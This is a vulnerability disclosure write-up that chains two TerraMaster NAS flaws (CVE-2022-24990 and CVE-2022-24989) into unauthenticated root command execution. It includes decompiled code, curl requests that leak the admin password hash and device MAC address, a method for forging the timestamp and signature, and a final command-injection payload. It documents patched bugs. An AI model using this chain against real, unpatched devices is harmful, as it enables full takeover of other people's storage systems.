Introduction
This report explains how researchers at Octagon Networks were able to chain two interesting vulnerabilities to achieve unauthenticated remote command execution as root on TerraMaster NAS devices running TOS version 4.2.29. Patches are distributed for 4.2.31 now.
Analyzing the PHP files
After downloading the installation package of the latest TOS package from the official download site and extracting it using binwalk, we can see the platform uses nginx server with PHP scripts. The PHP scripts are encrypted on disk. After decrypting them and analyzing their content, there is an interesting php script – /usr/www/module/api.php.
The script starts parsing the uri components in the following manner.
$in = router(); $URI = $in['URLremote']; if (!isset($URI[0]) || $URI[0] == '') $URI[0] = $default_controller; if (!isset($URI[1]) || $URI[1] == '') $URI[1] = $default_action; define('Module', $URI[0]); define('Action', $URI[1]); $class = Module; $function = Action;
The router
function parses the get parameters and assigns them in such a way that if the request is http://target/module/api.php?XXXX/YYYY, then $class
will be XXXX, and $function
is YYYY.
It then checks if the function is in an array of NO_LOGIN_CHECK
, and if it’s not, it sets REQUEST MODE
to 1. This will be important detail for the exploit later.
$GLOBALS['NO_LOGIN_CHECK'] = array( "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected" ); if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) { define('REQUEST_MODE', 1); } else { define('REQUEST_MODE', 0); }
It then instantiates the class stated by $class
and calls the method stated by $function
.
$instance = new $class(); if (!in_array($function, $class::$notHeader)) { #防止请求重放验证... if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) { $instance->output("Illegal request, timeout!", 0); } } $instance->$function();
One thing to notice here is that the line if (!in_array($function, $class::$notHeader)) {
. If our function is not in an array by the name of $notHeadeer
, then a check will be made. It takes the TIMESTAMP http header and passes it to a function called tos_encrypt_str
, and compares the output of the function to the value in SIGNATURE http header. It then checks if the timestamp is not older than 5 minutes. The tos_encrypt_str
is a custom hashing function, which we will come to analyze later to figure out how SIGNATURE is created.
Looking for php scripts which have classes which can be invoked this way, I came across /usr/www/include/class/mobile.class.php
. To start off, it has two arrays of method name, $notCheck
and $notHeader
.
static $notCheck = [ "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected", 'createid', 'user_create', 'user_bond', 'user_release', 'login', 'logout', 'checkCode', "wapNasIPS" ]; //不验证头信息是否匹配... static $notHeader = [ "fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected" ];
Then it makes three check in its constructor.
if (!in_array(Action, self::$notHeader)) { if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) { $this->output("Illegal request, please use genuine software!", false); } }
The first check ensures that if the method name invoked is not in $notHeader
array, it tests whether the user-agent http header is ‘TNAS’ and AUTHORIZATION header is equal to $this->REQUESTCODE
. Otherwise it exits with an error message. The AUTHORIZATION header will be important later on. For now, let’s proceed to the second check.
if (REQUEST_MODE) { if (!isset($_SESSION)) { $this->output("session write error!", false); } else { $this->user = &$_SESSION['kod_user']; } if (isset($this->in['PHPSESSID'])) { $this->sessionid = $this->in['PHPSESSID']; } }
if REQUEST_MODE
is set, then it checks whether the user is logged in. Otherwise it will exit. And the final check:
if (!in_array(Action, self::$notCheck)) { if (!$this->loginCheck()) { $this->output("login is timeout", 0); } }
It checks whether the method name is in $notCheck
, and exits with an error if it’s not.
Severe Information Leak: CVE-2022-24990
So, with the knowledge of the two php script chains, we know that the seven functions “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected” are in NO_LOGIN_CHECK
array in api.php
, and will set REQUEST_MODE
to 0, passing one of the checks in mobile.class.php
. And upon further checking these functions, webNasIPS
is the only function which is both in $notCheck
and $notHeader
arrays of mobile.class.php
‘s constructor, which effectively can pass two remaining checks. Let’s call webNasIPS and see what it returns.
$ curl -vk 'http://XXXX/module/api.php?mobile/webNasIPS' -H 'User-Agent: TNAS' * Trying XXXX... * Connected to 127.0.0.1 (127.0.0.1) port 22056 (#0) > GET /module/api.php?mobile/webNasIPS HTTP/1.1 > Host: 127.0.0.1:22056 > User-Agent: TNAS < HTTP/1.1 200 OK < Date: Mon, 10 Jan 2022 14:10:40 GMT < Content-Type: application/json; charset=utf-8 < Transfer-Encoding: chunked < Connection: keep-alive < X-Powered-By: TerraMaster * Connection #0 to host 127.0.0.1 left intact {"code":true,"msg":"webNasIPS successful","data":"NOTIFY Message\nIFC:10.0.2.2\nADDR:525400123456\nPWD:$1$2kc1Zqe8$gighkBlDDDFHpG3RkZtws1\nSAT:1\nDAT:[{\"hostname\":\"ubuntu1604-aarch64\",\"firmware\":\"TOS3_A1.0_4.2.17\",\"sn\":\"\",\"version\":\"2110301418\"},{\"network\":\"eth0\",\"ip\":\"10.0.2.15\",\"mask\":\"255.255.255.0\",\"mac\":\"52:54:00:12:34:56\"},{\"service\":[{\"name\":\"http_ssl\",\"url\":\"\",\"port\":\"5443\"},{\"name\":\"http\",\"url\":\"XXXX\",\"port\":\"8181\"},{\"name\":\"sys\",\"url\":\"XXXX\",\"port\":\"8181\"},{\"name\":\"channel\",\"url\":\"\",\"port\":0},{\"name\":\"pt\",\"url\":\"\",\"port\":0},{\"name\":\"ftp\",\"url\":\"\",\"port\":21},{\"name\":\"web_dav\",\"url\":\"\",\"port\":0},{\"name\":\"smb\",\"url\":\"\",\"port\":0}]}]","time":2.920037031173706}
It returns a lot of interesting data. Let’s look at the function webNasIPS
function webNasIPS() { if (strstr($_SERVER['HTTP_USER_AGENT'], "TNAS")) { $core = new core(); $dataSheet[0] = [ "hostname" => $core->_hostname(), "firmware" => $core->_version(), "sn" => $core->_system_product_name(), "version" => $core->_VersionNumber() ]; $defaultgw = $core->_default_RJ45(); $eth = $core->_netlist($defaultgw); $dataSheet[1] = array( "network" => $defaultgw, "ip" => $eth['ip'], "mask" => $eth['mask'], "mac" => $eth['mac'] ); $dataSheet[2] = array("service" => $this->_getservicelist()); $ifc = $_SERVER['REMOTE_ADDR']; $addr = preg_replace("/[:\n\r]+/", "", file_get_contents("/sys/class/net/eth0/address")); $pwd = $this->REQUESTCODE; if (!file_exists("/tmp/databack/complete")) { $sat = -1; } else if (!empty($this->_exec("df-json | awk '/\/mnt\/md/'"))) { $sat = !file_exists(USER_SYSTEM . '/install.lock') ? 2 : 1; } else { $sat = 0; } $dat = addslashes(json_encode($dataSheet)); $tpl = "NOTIFY Message\\nIFC:$ifc\\nADDR:$addr\\nPWD:$pwd\\nSAT:$sat\\nDAT:$dat"; $this->output("webNasIPS successful", true, $tpl); } $this->output("webNasIPS failed", false, ""); }
It returns the TOS firmware version, the default gateway interface’s IP and mac address, running services with their binding address and their ports, and a variable $pwd
which contains the value of $this->REQUESTCODE
. Upon checking the origins of REQUESTCODE
, we see that it is set in application.class.php
The _getpassword
functions essentially tells that REQUESTCODE is the hash of the admin password. This makes the above information leak a very dire one.
Finding an OS command injection: CVE-2022-24989
If we remember earlier, one of the checks in mobile.class.php
is:
if (!in_array(Action, self::$notHeader)) { if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) { $this->output("Illegal request, please use genuine software!", false); } }
Since webNasIPS
gives us REQUESTCODE without authentication, we can now call from the seven functions we listed which are in NOT_LOGIN_CHECK
and in $notCheck
array, but NOT in $notHeader
arrary. createRaid
is one of the functions which fullfills this.
function createRaid() { $vol = new volume(); if (!isset($this->in['raidtype']) || !isset($this->in['diskstring'])){ $this->output("Incomplete parameters", false); } $ret = $vol->volume_make_from_disks($this->in['raidtype'], $filesystem, $disks, $volume_size); }
createRaid takes two POST parameters by raidtype
and diskstring
and calls $vol->volume_make_from_disks
with the value of raidtype
as the first parameter. Let’s have a closer look at volume_make_from_disks
defined in volume.class.php
.
function volume_make_from_disks($level, $fs, $disks, $volume_size) { $this->fun->_backexec("$_makemd -s{$volume_size} -l{$level} -b -t{$fs} {$diskItems} &"); }
It takes the first parameter and inserts it into a string to call another function $this->fun->_backexec
. _backexec
is a function defined in func.class.php
.
function _backexec($command) { if (strstr($command, "regcloud")) { @system("killall -9 regcloud"); } $fp = popen($command, "w"); if ($fp == FALSE) return FALSE; pclose($fp); return TRUE; }
_backexec
function passes the parameters it receives to popen
without any sanitization. Therefore, it’s vulnerable to OS command injection.
Bypassing Timestamp header checks
We have now chained the information leak (admin password hash) with an OS injection vulnerability. But we have to return to api.php
timestamp header check that we said we will look at later.
$instance = new $class(); if (!in_array($function, $class::$notHeader)) { #防止请求重放验证... if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) { $instance->output("Illegal request, timeout!", 0); } } $instance->$function();
api.php ensures that if the method name is not in the class’s $notHeader
array, it will check that the TIMESTAMP header is not older than 300 seconds (5 minutes), and the SIGNATURE header has to be equal to the output of tos_encrypt_str
function call on the TIMESTAMP value. Now, we have three problems.
- We have to get the time of the machine
- We have to know how
tos_encrypt_str
is invoked, and call it with arbitrary value - We have to calculate the right TIMESTAMP in epoch time from the machine’s time regardless of time difference
Let’s start with tos_encrypt_str.
Figuring out the custom hash function
Upon searching tos_encrypt_str
, we realize that it’s not defined in the PHP scripts. And after a google search, we realize that it’s not also in the default and common list of php extentions. This leads us to the conclusion that it’s a function in one of TerraMaster’s custom PHP extenstions. Listing the loaded PHP extensions:
$ php -m ... pgsql Phar php_terra_master posix redis ...
The extension php_terra_master.so
sticks out. It exports one function, tos_encrypt_str
.
$ php -r 'var_dump((new ReflectionExtension("php_terra_master"))->getFunctions());' array(1) { ["tos_encrypt_str"] => object(ReflectionFunction) #2 (1) { ["name"]=> string(15) "tos_encrypt_str" }}
Calling tos_encrypt_str
will tell us that it returns a hash.
$ php php -r 'echo tos_encrypt_str("XXXX") . PHP_EOL;' 6873abbd2da7dca265b78e64ead3729b
Opening the shared object in IDA, and searching for the string tos_encrypt_str
, we find out that the hashing function is sub_3738
.
result = zend_parse_parameters(v3, “s”, &v8, &v10); if ( (_DWORD)result != -1 ) { v5 = (const char *)sub_3694(&v9); php_sprintf(v11, “%s%s”, v5, v8); v6 = (const char *)sub_2348(v11); v7 = zend_strpprintf(0LL, “%s”, v6);
It takes our string to be hashed from zend_parse_parameters
, and passes it to php_sprintf
(using variable v8
). Before the php_sprintf call, there is a function call sub_3694
, whose return value is given to the php_sprintf call as parameter, with our string. Let’s take a look at it.
__int64 __fastcall sub_3694(__int64 a1) { int v2; // w21 const char *v3; // x0 char v5[40]; // [xsp+38h] [xbp+38h] BYREF v2 = socket(2, 1, 0); if ( (v2 & 0x80000000) != 0 ) { v3 = "socket"; LABEL_5: perror(v3); return 0LL; } strcpy(v5, "eth0"); if ( (ioctl(v2, 0x8927uLL, v5) & 0x80000000) != 0 ) { v3 = "ioctl"; goto LABEL_5; } php_sprintf(a1, "%02x%02x%02x", (unsigned __int8)v5[21], (unsigned __int8)v5[22], (unsigned __int8)v5[23]); return a1; }
This function gets the mac address of the interface eth0
and returns the last 3 bytes (device specific part) in hex. Then the php_sprintf
in sub_3738 call formats it with our string to a final string to give it to sub_2348
. Therefore, if the mac address of eth0 for a device is 55:44:33:12:34:56 and our string to be hashed is XXXX, then the final string given to the actuall hash function (sub_2348) will be 123456XXXX.
Getting the later half of the mac
tos_encrypt_str
using the later half of the mac address of eth0 allows each TerraMaster device to derive different hashes for the same string. This prevents us from calling the function with arbitrary stirng, since we need the mac address.
Lucky for us, webNasIPS
, which leaks the admin password hash, also gives us the mac address of the default gateway interface, which is often eth0. Armed with the later half of the mac address, we can write a small hook to call tos_encrypt_str with any string value we want to generate the hash.
function webNasIPS() { $dataSheet[1] = array( "network" => $defaultgw, "ip" => $eth['ip'], "mask" => $eth['mask'], "mac" => $eth['mac' ]); }
Another information leak: time of the machine
Now that we can generate the right hash for any arbitrary string for any TerraMaster device, the only remaining piece is the timestamp value. On some TerraMaster TOS devices, there is a Date
header that tells us what timezone the target machine is synched to, so we can sync our time with the victim and have an accurate timestamp. However, on TerraMaster devices, it is hardened and the Date
header is stripped so it is not easy for us to figure out what timezone the machine is synched to.
Upon replaying with the request, we realize that sending a request to any of these functions in a way that the result is a failure will yield the time of the machine being leaked. Here is a simple request to call createRaid
with no AUTHORIZATION, TIMESTAMP and SIGNATURE headers.
$ curl -k 'http://127.0.0.1:22056/module/api.php?mobile/createRaid' | jq -r { "code": false, "msg": "Illegal request, please use genuine software!", "data": [], "time": 0.00028896331787109375, "ctime": "2022-01-10 23:00:38" }
In the request, there is a value of ctime
, which contains the date of the machine with the 24 hour format.
Now, with all the pieces on our hand, the only remaining task is to calculate the timestamp in epoch regardless of the machine’s timezone.
Calculating the timestamp
To do this, we can use any unix timestamp calculator. These are the steps to do that.
- We take the time of the machine from the
ctime
and convert it to epoch time - We calculate our own time (both formal and epoch) (for example: using PHP’s
date
functionality:php -r 'echo time() . " " . date("Y-m-d H:i:s") . PHP_EOL; '
) - We subtract the epoch time of our machine from the target machine
- We convert the subtraction result of the above calculation into relative time
- We add/subtract the relative time to our machine’s formal time
- We convert the result from the above calculation to epoch time
- We now have the right epoch time. We calculate the hash of this epoch time using the machine’s later half of the mac
- We invoke
createRaid
with our payload inraidtype
Exploitation
The final payload will look something like this.
$ curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r